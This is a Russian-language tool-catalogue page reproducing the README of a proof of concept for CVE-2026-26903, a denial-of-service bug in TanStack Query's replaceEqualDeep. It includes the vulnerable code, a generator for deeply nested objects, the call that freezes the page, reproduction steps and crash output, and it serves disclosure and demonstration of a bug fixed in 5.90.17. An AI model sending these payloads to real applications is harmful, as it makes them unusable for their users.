Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-26903-PoC — PoC для демонстрации CVE-2026-26903 | Kitploit
Инструменты/GitHubGitHub/john-jung/cve-2026-26903-poc
Анализ уязвимостейЭксплуатацияВеб-безопасностьСтатьи и ИсследованияОбучение и Образование
GitHubjohn-jung/cve-2026-26903-poc

CVE-2026-26903-PoC

PoC для демонстрации CVE-2026-26903

Репозиторий
277 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Полный набор инструментов OSINT: граф расследования, оценка достоверности, семейства псевдонимов, карта, временная шкала и отчёты. 49 модулей, более 400 сайтов, API-ключи не требуются.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Приложение GhostLock с запуском в один клик (CVE-2026-43499)

    593
  • 3

    looking-glass

    anonghosty/looking-glass

    Платформа CSIRT, которая загружает отчёты Shadowserver в MongoDB и воспроизводит их в виде интерактивных карт, аналитики, результатов, рекомендаций и исполнительных дашбордов.

    381
  • 4

    ARTEX

    baarai/artex

    Платформа автономного тестирования на проникновение на основе мультиагентной LLM с агентами-планировщиками и агентами-исполнителями, графами активов и исследования, записью MITM-трафика и повторной проверкой уязвимостей.

    321
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Система действий для кибербезопасности на базе ИИ — где намерение превращается в управляемое исполнение, доказательства становятся оперативной памятью, а каждая операция улучшает следующую.

    316
  • 6

    redforge

    cybersecurity91/redforge

    Браузерный инструментарий для red team с 102 офлайн-инструментами для разведки, генерации полезной нагрузки, атак на учётные данные, криптографии, кодирования и отчётности по проектам.

    305

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-26903 PoC

Отказ в обслуживании из-за неограниченной рекурсии в функции replaceEqualDeep библиотеки TanStack Query

Один единственный специально сформированный запрос на обновление данных с глубоко вложенными объектами может заморозить поток JavaScript на неопределённый срок, что приведёт к полной неработоспособности приложения. Для этого не требуются аутентификация или особые привилегии.

Затронутые версии

Эта уязвимость была исправлена в @tanstack/[email protected] через PR #10032, опубликованный 14 января 2026 года.

ПакетЗатронутИсправлен
@tanstack/query-core<= 5.90.165.90.17
@tanstack/react-queryзависит от уязвимого query-core5.90.18+
@tanstack/vue-queryзависит от уязвимого query-core5.90.18+
@tanstack/solid-queryзависит от уязвимого query-core5.90.18+
@tanstack/svelte-queryзависит от уязвимого query-core6.1.7+

Официальное описание

CVE-2026-26903: Отказ в обслуживании через неограниченную рекурсию в replaceEqualDeep (Серьёзность: средняя)

Функция replaceEqualDeep в TanStack Query выполняет рекурсивное сравнение вложенных объектов без ограничений по глубине. При обработке глубоко вложенных структур данных это может вызвать неограниченную рекурсию, приводящую к переполнению стека и замораживанию приложения.

— Назначено через MITRE

Сводка об уязвимости

Функция replaceEqualDeep библиотеки TanStack Query используется внутренне для определения того, действительно ли изменились данные запроса, оптимизируя повторные рендеры за счёт сохранения ссылок на объекты, когда это возможно. Функция рекурсивно обходит свойства объектов для выполнения глубокого сравнения на равенство.

Проблема

В рекурсивной реализации отсутствуют ограничения по глубине и обнаружение циклов:

function replaceEqualDeep(a, b) {
  // ... проверки типов ...
  
  for (let i = 0; i < bSize; i++) {
    const key = array ? i : bItems[i];
    // ... проверки поверхностного равенства ...
    
    // УЯЗВИМОСТЬ: неограниченная рекурсия здесь
    const v = replaceEqualDeep(a[key], b[key]);
    copy[key] = v;
    // ...
  }
  return copy;
}

Механизм атаки

  1. Триггер: любое обновление запроса, которое проходит через replaceEqualDeep с глубоко вложенными данными
  2. Полезная нагрузка: объекты, вложенные на 5000+ уровней в глубину
  3. Воздействие: немедленная заморозка потока JavaScript, полная неработоспособность пользовательского интерфейса
  4. Стойкость: приложение остаётся замороженным до перезагрузки страницы

Поверхность атаки

  • Прямая: хуки useQuery с вложенными данными ответов
  • Косвенная: setQueryData, invalidateQueries или любая операция с кэшем запросов
  • Клиентская сторона: участие сервера не требуется — чисто клиентский DoS

Структура репозитория

CVE-2026-26903-PoC/
├── README.md                 # Это файл
├── LICENSE
├── poc.js                    # PoC на Node.js (краш из-за переполнения стека)
└── tanstack-query-poc.html   # PoC для браузера (интерактивная визуальная демонстрация)

Шаги воспроизведения

1. Клонирование и настройка

git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC

2. Запуск PoC на Node.js (краш из-за переполнения стека)

node poc.js

3. Ожидаемый вывод

Testing replaceEqualDeep with deep nesting...
 
Depth: 100
  OK - 0ms
 
Depth: 1000
  OK - 1ms
 
Depth: 5000
  CRASH - Maximum call stack size exceeded
 
Depth: 10000
  CRASH - Maximum call stack size exceeded

4. Запуск PoC для браузера (интерактивная визуальная демонстрация)

open tanstack-query-poc.html
  1. Убедитесь, что приложение отзывчиво:
    • Нажимайте кнопку счётчика
    • Вводите текст в поле ввода
    • Наблюдайте за живым таймером
  2. Запустите DoS:
    • Нажмите "TRIGGER DoS (10000 depth) - App Will Freeze"
    • Результат: таймер останавливается, кнопки перестают реагировать, страница замирает

Детальное тестирование

Вариант A: Автономная HTML-демонстрация (без зависимостей)

git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
open tanstack-query-poc.html

Вариант B: React-приложение (реалистичный сценарий)

cd examples/react-app-poc
npm install
npm start
# Перейдите на http://localhost:3000 и следуйте инструкциям на экране

Ожидаемое поведение

До атаки:

  • Кнопка счётчика увеличивает значение
  • Живой таймер обновляется каждую секунду
  • Поле ввода реагирует на ввод текста
  • Все взаимодействия с интерфейсом работают нормально

После атаки:

  • Таймер замирает на текущем значении
  • Кнопка счётчика перестаёт реагировать
  • Поле ввода становится неработоспособным
  • Консоль не показывает ошибок (поток заблокирован, а не упал)
  • Единственное решение: перезагрузка вкладки/окна браузера

Как работает эксплойт

PoC генерирует глубоко вложенные объекты и запускает replaceEqualDeep для их обработки:

1. Генерация полезной нагрузки

function generateDeep(depth) {
  let obj = { value: 'end' };
  for (let i = 0; i < depth; i++) {
    obj = { nested: obj };
  }
  return obj;
}

// Создаёт: { nested: { nested: { nested: ... { value: 'end' } } } }

2. Триггер атаки

const oldData = generateDeep(10000);  // 10 000 уровней в глубину
const newData = generateDeep(10000);  // Другой объект, та же структура

// Это вызывает неограниченную рекурсию:
replaceEqualDeep(oldData, newData);

3. Цепочка рекурсии

replaceEqualDeep(obj1, obj2)
├── replaceEqualDeep(obj1.nested, obj2.nested)     // Уровень 1
    ├── replaceEqualDeep(obj1.nested.nested, ...)  // Уровень 2
        ├── replaceEqualDeep(...)                   // Уровень 3
            └── ... (продолжается 10 000 уровней)

Каждый рекурсивный вызов добавляет новый фрейм стека, пока стек вызовов движка JavaScript не будет исчерпан, замораживая поток.

Уязвимый код

Расположение: @tanstack/query-core/src/utils.ts (приблизительно)

export function replaceEqualDeep(a, b) {
  if (a === b) {
    return a;
  }

  const array = isPlainArray(a) && isPlainArray(b);

  if (!array && !(isPlainObject(a) && isPlainObject(b))) {
    return b;
  }

  const aItems = array ? a : Object.keys(a);
  const aSize = aItems.length;
  const bItems = array ? b : Object.keys(b);
  const bSize = bItems.length;
  const copy = array ? new Array(bSize) : {};

  let equalItems = 0;

  for (let i = 0; i < bSize; i++) {
    const key = array ? i : bItems[i];

    if (a[key] === b[key]) {
      copy[key] = a[key];
      equalItems++;
      continue;
    }

    if (
      a[key] === null ||
      b[key] === null ||
      typeof a[key] !== 'object' ||
      typeof b[key] !== 'object'
    ) {
      copy[key] = b[key];
      continue;
    }

    // УЯЗВИМОСТЬ: нет ограничения глубины или обнаружения циклов
    const v = replaceEqualDeep(a[key], b[key]);
    copy[key] = v;

    if (v === a[key]) {
      equalItems++;
    }
  }

  return aSize === bSize && equalItems === aSize ? a : copy;
}
Скачать инструмент